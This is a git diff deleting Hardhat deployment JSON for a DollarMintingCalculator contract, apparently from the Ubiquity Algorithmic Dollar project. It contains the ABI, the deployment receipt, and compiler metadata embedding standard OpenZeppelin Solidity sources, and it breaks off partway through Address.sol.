"t_uint256" - } - ], - "types": { - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/DollarMintingCalculator.json b/packages/contracts/dollar/deployments/mainnet/DollarMintingCalculator.json deleted file mode 100644 index 8f0cb3d51..000000000 --- a/packages/contracts/dollar/deployments/mainnet/DollarMintingCalculator.json +++ /dev/null @@ -1,103 +0,0 @@ -{ - "address": "0xab840faA6A5eF68D8D32370EBC297f4DdC9F870F", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [], - "name": "getDollarsToMint", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0x171bccc8f54bd0a85aba04c89ea4585f7bfd104862569e9466c892b874473fda", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0xab840faA6A5eF68D8D32370EBC297f4DdC9F870F", - "transactionIndex": 48, - "gasUsed": "951132", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x4cc07cf2ee6881ef8115d0be3bf17192ae28629ac32080901631cfa688091fa6", - "transactionHash": "0x171bccc8f54bd0a85aba04c89ea4585f7bfd104862569e9466c892b874473fda", - "logs": [], - "blockNumber": 12595275, - "cumulativeGasUsed": "4265544", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"getDollarsToMint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"constructor\":{\"params\":{\"_manager\":\"the address of the manager contract so we can fetch variables\"}}},\"title\":\"A mock coupon calculator that always returns a constant\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"getDollarsToMint()\":{\"notice\":\"returns (TWAP_PRICE -1) * UAD_Total_Supply\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/DollarMintingCalculator.sol\":\"DollarMintingCalculator\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n}\\n\",\"keccak256\":\"0x7c0ea2d284bad1aa002165ba4c5eac30070be8e56b19dba1ac7c8f2c8bd4832c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * 